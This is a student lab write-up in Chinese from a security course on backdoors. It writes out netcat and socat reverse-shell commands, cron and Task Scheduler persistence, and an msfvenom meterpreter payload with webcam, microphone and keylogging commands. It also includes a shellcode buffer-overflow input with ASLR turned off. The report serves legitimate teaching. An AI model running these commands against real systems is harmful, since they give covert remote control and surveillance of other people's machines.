Exp2 后门原理与实践
Exp2 后门原理与实践
一、实践目标
- 使用netcat实现win,kali间的后门连接
- 使用socat实现win,kali间的后门连接
- meterpreter的应用
二、基础知识问答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
误下载带有安全隐患的应用程序或者文件
未及时更新漏洞补丁
使用带有问题的U盘
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:: 添加至任务计划程序,开机自启动,与其他程序绑定运行,通过注册表启动。
Linux:定时启动,与其他程序绑定后运行,脚本运行。
(3)Meterpreter有哪些给你映像深刻的功能?
屏幕截图,获取击键记录,获取音频,打开摄像头,提权,进程迁移,安装Meterpreter到主机。
(4)如何发现自己有系统有没有被安装后门?
杀毒软件(火绒等)反馈
观察自启动项
观察任务管理器内的进程
观察任务计划程序
观察端口
特征码扫描
观察到自己的摄像头时不时闪一下
三、实验内容
Ⅰ.使用netcat获取主机操作Shell,cron启动
①Windows获取Kali虚拟机的shell
1.查看Windows主机的IP地址
ipconfig

2.在ncat.exe目录下打开cmd监听本机的11204端口
ncat.exe -l -p 11204

3.kali反弹连接Windows
nc 192.168.1.119 11204 -e /bin/sh

4.Windows返回kali的shell
ls
whoami
hostname

②Kali虚拟机获取Windows的shell
1.获取Kali虚拟机的IP地址

2.Kali中开启监听
ncat -l -p 11204

3.Windows反弹连接
ncat.exe -e cmd.exe 192.168.1.248 11204

4.Kali虚拟机返回Windows的shell
dir

③cron启动
1.Kali中执行crontab -e指令

2.设置自启动时间
15 * * * * /bin/netcat 192.168.1.119 11204 -e /bin/sh

则当主机时间为15分时(每小时的15分),若存在一台ip地址为 192.168.31.63 的主机正在监听11204端口,该主机便可以获取到Kali的Shell
3.Windows主机在指定时间监听
ncat -l -p 11204

Ⅱ.使用socat获取主机操作Shell, 任务计划启动
①Windows获取kali虚拟机的shell
1.Kali开放11204端口
socat tcp-listen:11204 system:bash,pty,stderr

2.Windows连接Kali虚拟机,验证shell功能
socat - tcp:192.168.56.101:11204
ls

②Kali虚拟机获得Windows的shell
1.Windows开放11204端口
socat tcp-listen:11204 exec:cmd,pty,stderr

2.Kali虚拟机连接Windows
socat - tcp:192.168.1.119:11204

3.验证shell
dir

③任务计划启动
1.打开任务计划程序,单击创建任务,编辑名称,新建触发器


2.新建操作,将socat.exe所在位置填入并添加以下参数,其他选项不变
tcp-listen:11204 exec:cmd,pty,stderr
3.测试
此时会弹出如图3.2.9所示的弹窗

然后再Kali虚拟机键入以下命令:
socat - tcp:192.168.31.63:11204

验证shell

Ⅲ.使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell
①生成可执行文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.248 LPORT=11204 -f exe > shell.exe


②利用ncat传送到主机并运行获取主机Shell
1.在Windows的cmd下开始监听11204端口
ncat.exe -l 11204 > shell.exe

2.Kali虚拟机传送shell.exe
nc 192.168.31.63 11204 < shell.exe

3.msf打开监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.101
set LPORT 11204

可以通过show options查看是否修改正确,IP地址与端口号必须与shell.exe中相一致
4.在Windows中打开shell.exe

5.获取主机shell
exploit
dir

Ⅳ.使用MSF meterpreter获取目标主机音频、摄像头、击键记录等内容,并尝试提权
①获取目标主机音频
在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)


②获取目标主机摄像头
webcam_snap
输入webcam_snap指令控制摄像头进行拍照

③获取击键记录
输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

截取主机屏幕
screenshot

fim XXX.jpeg查看图片
Ⅴ.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
①生成shellcode
msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=192.168.123.85 LPORT=11204 -f c

②关闭地址随机化并设置栈可执行
execstack -s pwn1
echo "0" > /proc/sys/kernel/randomize_va_space

③gdb调试并生成最终Shellcode

shellcode返回地址为0xbffff130
perl -e 'print "A" x 32;print "\x30\xf1\xff\xbf";print "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xc0\xa8\x7b\xd4\x66\x68\x2b\xc4\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>hack.bin

④kali打开监听

⑤配置msf

运行侦听,在Ubuntu控制Linux的shell
1.Ubuntu端:

2.kali端

成功
实验体会:
本次实验实现了入侵对方终端,抓拍,获取键盘信息等等基础后门功能,以前在新闻中看到类似的科普知识,感觉很厉害,很神奇。现在我觉得自己也很nb哈哈哈哈,当然没有任何杀毒软件和防火墙的干扰,一切还是很顺利的,希望在学了免杀后能够升级我的攻击力。嗯
实验中对ip的键入比较模糊,现在明晰一些了,生成攻击文件ip为坏ip,用来传递参数,返回攻击者的电脑,nc的ip为对方ip,用来连接。

浙公网安备 33010602011771号